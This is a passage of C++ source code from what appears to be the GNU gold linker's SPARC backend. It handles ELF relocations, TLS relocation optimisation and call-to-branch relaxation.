// Emit any relocs we saved in an attempt to avoid generating COPY
// relocs.
if (this->copy_relocs_.any_saved_relocs())
this->copy_relocs_.emit(this->rela_dyn_section(layout));
if (parameters->doing_static_link()
&& (this->plt_ == NULL || !this->plt_->has_ifunc_section()))
{
// If linking statically, make sure that the __rela_iplt symbols
// were defined if necessary, even if we didn't create a PLT.
static const Define_symbol_in_segment syms[] =
{
{
"__rela_iplt_start", // name
elfcpp::PT_LOAD, // segment_type
elfcpp::PF_W, // segment_flags_set
elfcpp::PF(0), // segment_flags_clear
0, // value
0, // size
elfcpp::STT_NOTYPE, // type
elfcpp::STB_GLOBAL, // binding
elfcpp::STV_HIDDEN, // visibility
0, // nonvis
Symbol::SEGMENT_START, // offset_from_base
true // only_if_ref
},
{
"__rela_iplt_end", // name
elfcpp::PT_LOAD, // segment_type
elfcpp::PF_W, // segment_flags_set
elfcpp::PF(0), // segment_flags_clear
0, // value
0, // size
elfcpp::STT_NOTYPE, // type
elfcpp::STB_GLOBAL, // binding
elfcpp::STV_HIDDEN, // visibility
0, // nonvis
Symbol::SEGMENT_START, // offset_from_base
true // only_if_ref
}
};
symtab->define_symbols(layout, 2, syms,
layout->script_options()->saw_sections_clause());
}
for (int reg = 0; reg < 4; ++reg)
{
Register_symbol& rsym = this->register_syms_[reg];
if (rsym.name != NULL)
{
int value = reg < 3 ? reg + 2 : reg + 4;
Sized_symbol<size>* sym = new Sized_symbol<size>();
if (rsym.shndx == elfcpp::SHN_UNDEF)
sym->init_undefined(rsym.name, NULL, value,
elfcpp::STT_SPARC_REGISTER, elfcpp::STB_GLOBAL,
elfcpp::STV_DEFAULT, 0);
else
sym->init_constant(rsym.name, NULL, value, 0,
elfcpp::STT_SPARC_REGISTER, elfcpp::STB_GLOBAL,
elfcpp::STV_DEFAULT, 0, false);
symtab->add_target_global_symbol(sym);
layout->add_target_specific_dynamic_tag(elfcpp::DT_SPARC_REGISTER,
value);
}
}
}
// Perform a relocation.
template<int size, bool big_endian>
inline bool
Target_sparc<size, big_endian>::Relocate::relocate(
const Relocate_info<size, big_endian>* relinfo,
unsigned int,
Target_sparc* target,
Output_section*,
size_t relnum,
const unsigned char* preloc,
const Sized_symbol<size>* gsym,
const Symbol_value<size>* psymval,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr address,
section_size_type view_size)
{
const elfcpp::Rela<size, big_endian> rela(preloc);
unsigned int r_type = elfcpp::elf_r_type<size>(rela.get_r_info());
bool orig_is_ifunc = psymval->is_ifunc_symbol();
r_type &= 0xff;
if (this->ignore_gd_add_)
{
if (r_type != elfcpp::R_SPARC_TLS_GD_ADD)
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("missing expected TLS relocation"));
else
{
this->ignore_gd_add_ = false;
return false;
}
}
if (view == NULL)
return true;
if (this->reloc_adjust_addr_ == view)
view -= 4;
typedef Sparc_relocate_functions<size, big_endian> Reloc;
const Sized_relobj_file<size, big_endian>* object = relinfo->object;
// Pick the value to use for symbols defined in shared objects.
Symbol_value<size> symval;
if (gsym != NULL
&& gsym->use_plt_offset(Scan::get_reference_flags(r_type)))
{
elfcpp::Elf_Xword value;
value = target->plt_address_for_global(gsym);
symval.set_output_value(value);
psymval = &symval;
}
else if (gsym == NULL && orig_is_ifunc)
{
unsigned int r_sym = elfcpp::elf_r_sym<size>(rela.get_r_info());
if (object->local_has_plt_offset(r_sym))
{
symval.set_output_value(target->plt_address_for_local(object, r_sym));
psymval = &symval;
}
}
const elfcpp::Elf_Xword addend = rela.get_r_addend();
// Get the GOT offset if needed. Unlike i386 and x86_64, our GOT
// pointer points to the beginning, not the end, of the table.
// So we just use the plain offset.
unsigned int got_offset = 0;
bool gdop_valid = false;
switch (r_type)
{
case elfcpp::R_SPARC_GOTDATA_OP:
case elfcpp::R_SPARC_GOTDATA_OP_HIX22:
case elfcpp::R_SPARC_GOTDATA_OP_LOX10:
// If this is local, we did not create a GOT entry because we
// intend to transform this into a GOT relative relocation.
if (gsym == NULL
|| (gsym->is_defined()
&& !gsym->is_from_dynobj()
&& !gsym->is_preemptible()
&& !orig_is_ifunc))
{
got_offset = psymval->value(object, addend) - target->got_address();
gdop_valid = true;
break;
}
case elfcpp::R_SPARC_GOT10:
case elfcpp::R_SPARC_GOT13:
case elfcpp::R_SPARC_GOT22:
if (gsym != NULL)
{
gold_assert(gsym->has_got_offset(GOT_TYPE_STANDARD));
got_offset = gsym->got_offset(GOT_TYPE_STANDARD);
}
else
{
unsigned int r_sym = elfcpp::elf_r_sym<size>(rela.get_r_info());
gold_assert(object->local_has_got_offset(r_sym, GOT_TYPE_STANDARD));
got_offset = object->local_got_offset(r_sym, GOT_TYPE_STANDARD);
}
break;
default:
break;
}
switch (r_type)
{
case elfcpp::R_SPARC_NONE:
case elfcpp::R_SPARC_REGISTER:
case elfcpp::R_SPARC_GNU_VTINHERIT:
case elfcpp::R_SPARC_GNU_VTENTRY:
break;
case elfcpp::R_SPARC_8:
Relocate_functions<size, big_endian>::rela8(view, object,
psymval, addend);
break;
case elfcpp::R_SPARC_16:
if (rela.get_r_offset() & 0x1)
{
// The assembler can sometimes emit unaligned relocations
// for dwarf2 cfi directives.
Reloc::ua16(view, object, psymval, addend);
}
else
Relocate_functions<size, big_endian>::rela16(view, object,
psymval, addend);
break;
case elfcpp::R_SPARC_32:
if (!parameters->options().output_is_position_independent())
{
if (rela.get_r_offset() & 0x3)
{
// The assembler can sometimes emit unaligned relocations
// for dwarf2 cfi directives.
Reloc::ua32(view, object, psymval, addend);
}
else
Relocate_functions<size, big_endian>::rela32(view, object,
psymval, addend);
}
break;
case elfcpp::R_SPARC_DISP8:
Reloc::disp8(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_DISP16:
Reloc::disp16(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_DISP32:
Reloc::disp32(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_DISP64:
Reloc::disp64(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_WPLT30:
Reloc::wdisp30(view, object, psymval, addend, address);
if (target->may_relax())
relax_call(target, view, rela, view_size);
break;
case elfcpp::R_SPARC_WDISP22:
Reloc::wdisp22(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_WDISP19:
Reloc::wdisp19(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_WDISP16:
Reloc::wdisp16(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_WDISP10:
Reloc::wdisp10(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_HI22:
Reloc::hi22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_22:
Reloc::rela32_22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_13:
Reloc::rela32_13(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_LO10:
Reloc::lo10(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_GOT10:
Reloc::lo10(view, got_offset, addend);
break;
case elfcpp::R_SPARC_GOTDATA_OP:
if (gdop_valid)
{
typedef typename elfcpp::Swap<32, true>::Valtype Insntype;
Insntype* wv = reinterpret_cast<Insntype*>(view);
Insntype val;
// {ld,ldx} [%rs1 + %rs2], %rd --> add %rs1, %rs2, %rd
val = elfcpp::Swap<32, true>::readval(wv);
val = 0x80000000 | (val & 0x3e07c01f);
elfcpp::Swap<32, true>::writeval(wv, val);
}
break;
case elfcpp::R_SPARC_GOTDATA_OP_LOX10:
if (gdop_valid)
{
Reloc::gdop_lox10(view, got_offset);
break;
}
/* Fall through. */
case elfcpp::R_SPARC_GOT13:
Reloc::rela32_13(view, got_offset, addend);
break;
case elfcpp::R_SPARC_GOTDATA_OP_HIX22:
if (gdop_valid)
{
Reloc::gdop_hix22(view, got_offset);
break;
}
/* Fall through. */
case elfcpp::R_SPARC_GOT22:
Reloc::hi22(view, got_offset, addend);
break;
case elfcpp::R_SPARC_PC10:
Reloc::pc10(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_PC22:
Reloc::pc22(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_TLS_DTPOFF32:
case elfcpp::R_SPARC_UA32:
Reloc::ua32(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_PLT64:
Relocate_functions<size, big_endian>::rela64(view, object,
psymval, addend);
break;
case elfcpp::R_SPARC_PLT32:
Relocate_functions<size, big_endian>::rela32(view, object,
psymval, addend);
break;
case elfcpp::R_SPARC_HIPLT22:
Reloc::hi22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_LOPLT10:
Reloc::lo10(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_PCPLT32:
Reloc::disp32(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_PCPLT22:
Reloc::pcplt22(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_PCPLT10:
Reloc::lo10(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_64:
if (!parameters->options().output_is_position_independent())
{
if (rela.get_r_offset() & 0x7)
{
// The assembler can sometimes emit unaligned relocations
// for dwarf2 cfi directives.
Reloc::ua64(view, object, psymval, addend);
}
else
Relocate_functions<size, big_endian>::rela64(view, object,
psymval, addend);
}
break;
case elfcpp::R_SPARC_OLO10:
{
unsigned int addend2 = rela.get_r_info() & 0xffffffff;
addend2 = ((addend2 >> 8) ^ 0x800000) - 0x800000;
Reloc::olo10(view, object, psymval, addend, addend2);
}
break;
case elfcpp::R_SPARC_HH22:
Reloc::hh22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_PC_HH22:
Reloc::pc_hh22(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_HM10:
Reloc::hm10(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_PC_HM10:
Reloc::pc_hm10(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_LM22:
Reloc::hi22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_PC_LM22:
Reloc::pcplt22(view, object, psymval, addend, address);
break;
case elfcpp::R_SPARC_11:
Reloc::rela32_11(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_10:
Reloc::rela32_10(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_7:
Reloc::rela32_7(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_6:
Reloc::rela32_6(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_5:
Reloc::rela32_5(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_HIX22:
Reloc::hix22(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_LOX10:
Reloc::lox10(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_H34:
Reloc::h34(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_H44:
Reloc::h44(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_M44:
Reloc::m44(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_L44:
Reloc::l44(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_TLS_DTPOFF64:
case elfcpp::R_SPARC_UA64:
Reloc::ua64(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_UA16:
Reloc::ua16(view, object, psymval, addend);
break;
case elfcpp::R_SPARC_TLS_GD_HI22:
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
case elfcpp::R_SPARC_TLS_LDM_HI22:
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
case elfcpp::R_SPARC_TLS_LDO_HIX22:
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
case elfcpp::R_SPARC_TLS_IE_HI22:
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
this->relocate_tls(relinfo, target, relnum, rela,
r_type, gsym, psymval, view,
address, view_size);
break;
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
// These are outstanding tls relocs, which are unexpected when
// linking.
case elfcpp::R_SPARC_TLS_DTPMOD64:
case elfcpp::R_SPARC_TLS_DTPMOD32:
case elfcpp::R_SPARC_TLS_TPOFF64:
case elfcpp::R_SPARC_TLS_TPOFF32:
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("unexpected reloc %u in object file"),
r_type);
break;
default:
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("unsupported reloc %u"),
r_type);
break;
}
return true;
}
// Perform a TLS relocation.
template<int size, bool big_endian>
inline void
Target_sparc<size, big_endian>::Relocate::relocate_tls(
const Relocate_info<size, big_endian>* relinfo,
Target_sparc<size, big_endian>* target,
size_t relnum,
const elfcpp::Rela<size, big_endian>& rela,
unsigned int r_type,
const Sized_symbol<size>* gsym,
const Symbol_value<size>* psymval,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr address,
section_size_type)
{
Output_segment* tls_segment = relinfo->layout->tls_segment();
typedef Sparc_relocate_functions<size, big_endian> Reloc;
const Sized_relobj_file<size, big_endian>* object = relinfo->object;
typedef typename elfcpp::Swap<32, true>::Valtype Insntype;
const elfcpp::Elf_Xword addend = rela.get_r_addend();
typename elfcpp::Elf_types<size>::Elf_Addr value = psymval->value(object, 0);
const bool is_final =
(gsym == NULL
? !parameters->options().output_is_position_independent()
: gsym->final_value_is_known());
const tls::Tls_optimization optimized_type
= optimize_tls_reloc(is_final, r_type);
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22:
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
if (optimized_type == tls::TLSOPT_TO_LE)
{
Insntype* wv = reinterpret_cast<Insntype*>(view);
Insntype val;
value -= tls_segment->memsz();
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22:
// TLS_GD_HI22 --> TLS_LE_HIX22
Reloc::hix22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_LO10:
// TLS_GD_LO10 --> TLS_LE_LOX10
Reloc::lox10(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_ADD:
// add %reg1, %reg2, %reg3 --> mov %g7, %reg2, %reg3
val = elfcpp::Swap<32, true>::readval(wv);
val = (val & ~0x7c000) | 0x1c000;
elfcpp::Swap<32, true>::writeval(wv, val);
break;
case elfcpp::R_SPARC_TLS_GD_CALL:
// call __tls_get_addr --> nop
elfcpp::Swap<32, true>::writeval(wv, sparc_nop);
break;
}
break;
}
else
{
unsigned int got_type = (optimized_type == tls::TLSOPT_TO_IE
? GOT_TYPE_TLS_OFFSET
: GOT_TYPE_TLS_PAIR);
if (gsym != NULL)
{
gold_assert(gsym->has_got_offset(got_type));
value = gsym->got_offset(got_type);
}
else
{
unsigned int r_sym = elfcpp::elf_r_sym<size>(rela.get_r_info());
gold_assert(object->local_has_got_offset(r_sym, got_type));
value = object->local_got_offset(r_sym, got_type);
}
if (optimized_type == tls::TLSOPT_TO_IE)
{
Insntype* wv = reinterpret_cast<Insntype*>(view);
Insntype val;
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22:
// TLS_GD_HI22 --> TLS_IE_HI22
Reloc::hi22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_LO10:
// TLS_GD_LO10 --> TLS_IE_LO10
Reloc::lo10(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_ADD:
// add %reg1, %reg2, %reg3 --> ld [%reg1 + %reg2], %reg3
val = elfcpp::Swap<32, true>::readval(wv);
if (size == 64)
val |= 0xc0580000;
else
val |= 0xc0000000;
elfcpp::Swap<32, true>::writeval(wv, val);
break;
case elfcpp::R_SPARC_TLS_GD_CALL:
// The compiler can put the TLS_GD_ADD instruction
// into the delay slot of the call. If so, we need
// to transpose the two instructions so that the
// new sequence works properly.
//
// The test we use is if the instruction in the
// delay slot is an add with destination register
// equal to %o0
val = elfcpp::Swap<32, true>::readval(wv + 1);
if ((val & 0x81f80000) == 0x80000000
&& ((val >> 25) & 0x1f) == 0x8)
{
if (size == 64)
val |= 0xc0580000;
else
val |= 0xc0000000;
elfcpp::Swap<32, true>::writeval(wv, val);
wv += 1;
this->ignore_gd_add_ = true;
}
else
{
// Even if the delay slot isn't the TLS_GD_ADD
// instruction, we still have to handle the case
// where it sets up %o0 in some other way.
elfcpp::Swap<32, true>::writeval(wv, val);
wv += 1;
this->reloc_adjust_addr_ = view + 4;
}
// call __tls_get_addr --> add %g7, %o0, %o0
elfcpp::Swap<32, true>::writeval(wv, 0x9001c008);
break;
}
break;
}
else if (optimized_type == tls::TLSOPT_NONE)
{
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22:
Reloc::hi22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_LO10:
Reloc::lo10(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_GD_ADD:
break;
case elfcpp::R_SPARC_TLS_GD_CALL:
{
Symbol_value<size> symval;
elfcpp::Elf_Xword value;
Symbol* tsym;
tsym = target->tls_get_addr_sym_;
gold_assert(tsym);
value = (target->plt_section()->address() +
tsym->plt_offset());
symval.set_output_value(value);
Reloc::wdisp30(view, object, &symval, addend, address);
}
break;
}
break;
}
}
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("unsupported reloc %u"),
r_type);
break;
case elfcpp::R_SPARC_TLS_LDM_HI22:
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
if (optimized_type == tls::TLSOPT_TO_LE)
{
Insntype* wv = reinterpret_cast<Insntype*>(view);
switch (r_type)
{
case elfcpp::R_SPARC_TLS_LDM_HI22:
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
elfcpp::Swap<32, true>::writeval(wv, sparc_nop);
break;
case elfcpp::R_SPARC_TLS_LDM_CALL:
elfcpp::Swap<32, true>::writeval(wv, sparc_mov_g0_o0);
break;
}
break;
}
else if (optimized_type == tls::TLSOPT_NONE)
{
// Relocate the field with the offset of the GOT entry for
// the module index.
unsigned int got_offset;
got_offset = target->got_mod_index_entry(NULL, NULL, NULL);
switch (r_type)
{
case elfcpp::R_SPARC_TLS_LDM_HI22:
Reloc::hi22(view, got_offset, addend);
break;
case elfcpp::R_SPARC_TLS_LDM_LO10:
Reloc::lo10(view, got_offset, addend);
break;
case elfcpp::R_SPARC_TLS_LDM_ADD:
break;
case elfcpp::R_SPARC_TLS_LDM_CALL:
{
Symbol_value<size> symval;
elfcpp::Elf_Xword value;
Symbol* tsym;
tsym = target->tls_get_addr_sym_;
gold_assert(tsym);
value = (target->plt_section()->address() +
tsym->plt_offset());
symval.set_output_value(value);
Reloc::wdisp30(view, object, &symval, addend, address);
}
break;
}
break;
}
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("unsupported reloc %u"),
r_type);
break;
// These relocs can appear in debugging sections, in which case
// we won't see the TLS_LDM relocs. The local_dynamic_type
// field tells us this.
case elfcpp::R_SPARC_TLS_LDO_HIX22:
if (optimized_type == tls::TLSOPT_TO_LE)
{
value -= tls_segment->memsz();
Reloc::hix22(view, value, addend);
}
else
Reloc::ldo_hix22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_LDO_LOX10:
if (optimized_type == tls::TLSOPT_TO_LE)
{
value -= tls_segment->memsz();
Reloc::lox10(view, value, addend);
}
else
Reloc::ldo_lox10(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_LDO_ADD:
if (optimized_type == tls::TLSOPT_TO_LE)
{
Insntype* wv = reinterpret_cast<Insntype*>(view);
Insntype val;
// add %reg1, %reg2, %reg3 --> add %g7, %reg2, %reg3
val = elfcpp::Swap<32, true>::readval(wv);
val = (val & ~0x7c000) | 0x1c000;
elfcpp::Swap<32, true>::writeval(wv, val);
}
break;
// When optimizing IE --> LE, the only relocation that is handled
// differently is R_SPARC_TLS_IE_LD, it is rewritten from
// 'ld{,x} [rs1 + rs2], rd' into 'mov rs2, rd' or simply a NOP is
// rs2 and rd are the same.
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
if (optimized_type == tls::TLSOPT_TO_LE)
{
Insntype* wv = reinterpret_cast<Insntype*>(view);
Insntype val = elfcpp::Swap<32, true>::readval(wv);
Insntype rs2 = val & 0x1f;
Insntype rd = (val >> 25) & 0x1f;
if (rs2 == rd)
val = sparc_nop;
else
val = sparc_mov | (val & 0x3e00001f);
elfcpp::Swap<32, true>::writeval(wv, val);
}
break;
case elfcpp::R_SPARC_TLS_IE_HI22:
case elfcpp::R_SPARC_TLS_IE_LO10:
if (optimized_type == tls::TLSOPT_TO_LE)
{
value -= tls_segment->memsz();
switch (r_type)
{
case elfcpp::R_SPARC_TLS_IE_HI22:
// IE_HI22 --> LE_HIX22
Reloc::hix22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_IE_LO10:
// IE_LO10 --> LE_LOX10
Reloc::lox10(view, value, addend);
break;
}
break;
}
else if (optimized_type == tls::TLSOPT_NONE)
{
// Relocate the field with the offset of the GOT entry for
// the tp-relative offset of the symbol.
if (gsym != NULL)
{
gold_assert(gsym->has_got_offset(GOT_TYPE_TLS_OFFSET));
value = gsym->got_offset(GOT_TYPE_TLS_OFFSET);
}
else
{
unsigned int r_sym = elfcpp::elf_r_sym<size>(rela.get_r_info());
gold_assert(object->local_has_got_offset(r_sym,
GOT_TYPE_TLS_OFFSET));
value = object->local_got_offset(r_sym,
GOT_TYPE_TLS_OFFSET);
}
switch (r_type)
{
case elfcpp::R_SPARC_TLS_IE_HI22:
Reloc::hi22(view, value, addend);
break;
case elfcpp::R_SPARC_TLS_IE_LO10:
Reloc::lo10(view, value, addend);
break;
}
break;
}
gold_error_at_location(relinfo, relnum, rela.get_r_offset(),
_("unsupported reloc %u"),
r_type);
break;
case elfcpp::R_SPARC_TLS_IE_ADD:
// This seems to be mainly so that we can find the addition
// instruction if there is one. There doesn't seem to be any
// actual relocation to apply.
break;
case elfcpp::R_SPARC_TLS_LE_HIX22:
// If we're creating a shared library, a dynamic relocation will
// have been created for this location, so do not apply it now.
if (!parameters->options().shared())
{
value -= tls_segment->memsz();
Reloc::hix22(view, value, addend);
}
break;
case elfcpp::R_SPARC_TLS_LE_LOX10:
// If we're creating a shared library, a dynamic relocation will
// have been created for this location, so do not apply it now.
if (!parameters->options().shared())
{
value -= tls_segment->memsz();
Reloc::lox10(view, value, addend);
}
break;
}
}
// Relax a call instruction.
template<int size, bool big_endian>
inline void
Target_sparc<size, big_endian>::Relocate::relax_call(
Target_sparc<size, big_endian>* target,
unsigned char* view,
const elfcpp::Rela<size, big_endian>& rela,
section_size_type view_size)
{
typedef typename elfcpp::Swap<32, true>::Valtype Insntype;
Insntype *wv = reinterpret_cast<Insntype*>(view);
Insntype call_insn, delay_insn, set_insn;
uint32_t op3, reg, off;
// This code tries to relax call instructions that meet
// certain criteria.
//
// The first criteria is that the call must be such that the return
// address which the call writes into %o7 is unused. Two sequences
// meet this criteria, and are used to implement tail calls.
//
// Leaf function tail call:
//
// or %o7, %g0, %ANY_REG
// call FUNC
// or %ANY_REG, %g0, %o7
//
// Non-leaf function tail call:
//
// call FUNC
// restore
//
// The second criteria is that the call destination is close. If
// the displacement can fit in a signed 22-bit immediate field of a
// pre-V9 branch, we can do it. If we are generating a 64-bit
// object or a 32-bit object with ELF machine type EF_SPARC32PLUS,
// and the displacement fits in a signed 19-bit immediate field,
// then we can use a V9 branch.
// Make sure the delay instruction can be safely accessed.
if (rela.get_r_offset() + 8 > view_size)
return;
call_insn = elfcpp::Swap<32, true>::readval(wv);
delay_insn = elfcpp::Swap<32, true>::readval(wv + 1);
// Make sure it is really a call instruction.
if (((call_insn >> 30) & 0x3) != 1)
return;
if (((delay_insn >> 30) & 0x3) != 2)
return;
// Accept only a restore or an integer arithmetic operation whose
// sole side effect is to write the %o7 register (and perhaps set
// the condition codes, which are considered clobbered across
// function calls).
//
// For example, we don't want to match a tagged addition or
// subtraction. We also don't want to match something like a
// divide.
//
// Specifically we accept add{,cc}, and{,cc}, or{,cc},
// xor{,cc}, sub{,cc}, andn{,cc}, orn{,cc}, and xnor{,cc}.
op3 = (delay_insn >> 19) & 0x3f;
reg = (delay_insn >> 25) & 0x1f;
if (op3 != 0x3d
&& ((op3 & 0x28) != 0 || reg != 15))
return;
// For non-restore instructions, make sure %o7 isn't
// an input.
if (op3 != 0x3d)
{
// First check RS1
reg = (delay_insn >> 14) & 0x15;
if (reg == 15)
return;
// And if non-immediate, check RS2
if (((delay_insn >> 13) & 1) == 0)
{
reg = (delay_insn & 0x1f);
if (reg == 15)
return;
}
}
// Now check the branch distance. We are called after the
// call has been relocated, so we just have to peek at the
// offset contained in the instruction.
off = call_insn & 0x3fffffff;
if ((off & 0x3fe00000) != 0
&& (off & 0x3fe00000) != 0x3fe00000)
return;
if ((size == 64 || target->elf_machine_ == elfcpp::EM_SPARC32PLUS)
&& ((off & 0x3c0000) == 0
|| (off & 0x3c0000) == 0x3c0000))
{
// ba,pt %xcc, FUNC
call_insn = 0x10680000 | (off & 0x07ffff);
}
else
{
// ba FUNC
call_insn = 0x10800000 | (off & 0x3fffff);
}
elfcpp::Swap<32, true>::writeval(wv, call_insn);
// See if we can NOP out the delay slot instruction. We peek
// at the instruction before the call to make sure we're dealing
// with exactly the:
//
// or %o7, %g0, %ANY_REG
// call
// or %ANY_REG, %g0, %o7
//
// case. Otherwise this might be a tricky piece of hand written
// assembler calculating %o7 in some non-trivial way, and therefore
// we can't be sure that NOP'ing out the delay slot is safe.
if (op3 == 0x02
&& rela.get_r_offset() >= 4)
{
if ((delay_insn & ~(0x1f << 14)) != 0x9e100000)
return;
set_insn = elfcpp::Swap<32, true>::readval(wv - 1);
if ((set_insn & ~(0x1f << 25)) != 0x8013c000)
return;
reg = (set_insn >> 25) & 0x1f;
if (reg == 0 || reg == 15)
return;
if (reg != ((delay_insn >> 14) & 0x1f))
return;
// All tests pass, nop it out.
elfcpp::Swap<32, true>::writeval(wv + 1, sparc_nop);
}
}
// Relocate section data.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::relocate_section(
const Relocate_info<size, big_endian>* relinfo,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr address,
section_size_type view_size,
const Reloc_symbol_changes* reloc_symbol_changes)
{
typedef Target_sparc<size, big_endian> Sparc;
typedef typename Target_sparc<size, big_endian>::Relocate Sparc_relocate;
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
gold_assert(sh_type == elfcpp::SHT_RELA);
gold::relocate_section<size, big_endian, Sparc, Sparc_relocate,
gold::Default_comdat_behavior, Classify_reloc>(
relinfo,
this,
prelocs,
reloc_count,
output_section,
needs_special_offset_handling,
view,
address,
view_size,
reloc_symbol_changes);
}
// Scan the relocs during a relocatable link.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::scan_relocatable_relocs(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols,
Relocatable_relocs* rr)
{
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
typedef gold::Default_scan_relocatable_relocs<Classify_reloc>
Scan_relocatable_relocs;
gold_assert(sh_type == elfcpp::SHT_RELA);
gold::scan_relocatable_relocs<size, big_endian, Scan_relocatable_relocs>(
symtab,
layout,
object,
data_shndx,
prelocs,
reloc_count,
output_section,
needs_special_offset_handling,
local_symbol_count,
plocal_symbols,
rr);
}
// Scan the relocs for --emit-relocs.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::emit_relocs_scan(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_syms,
Relocatable_relocs* rr)
{
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
typedef gold::Default_emit_relocs_strategy<Classify_reloc>
Emit_relocs_strategy;
gold_assert(sh_type == elfcpp::SHT_RELA);
gold::scan_relocatable_relocs<size, big_endian, Emit_relocs_strategy>(
symtab,
layout,
object,
data_shndx,
prelocs,
reloc_count,
output_section,
needs_special_offset_handling,
local_symbol_count,
plocal_syms,
rr);
}
// Emit relocations for a section.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::relocate_relocs(
const Relocate_info<size, big_endian>* relinfo,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
typename elfcpp::Elf_types<size>::Elf_Off offset_in_output_section,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr view_address,
section_size_type view_size,
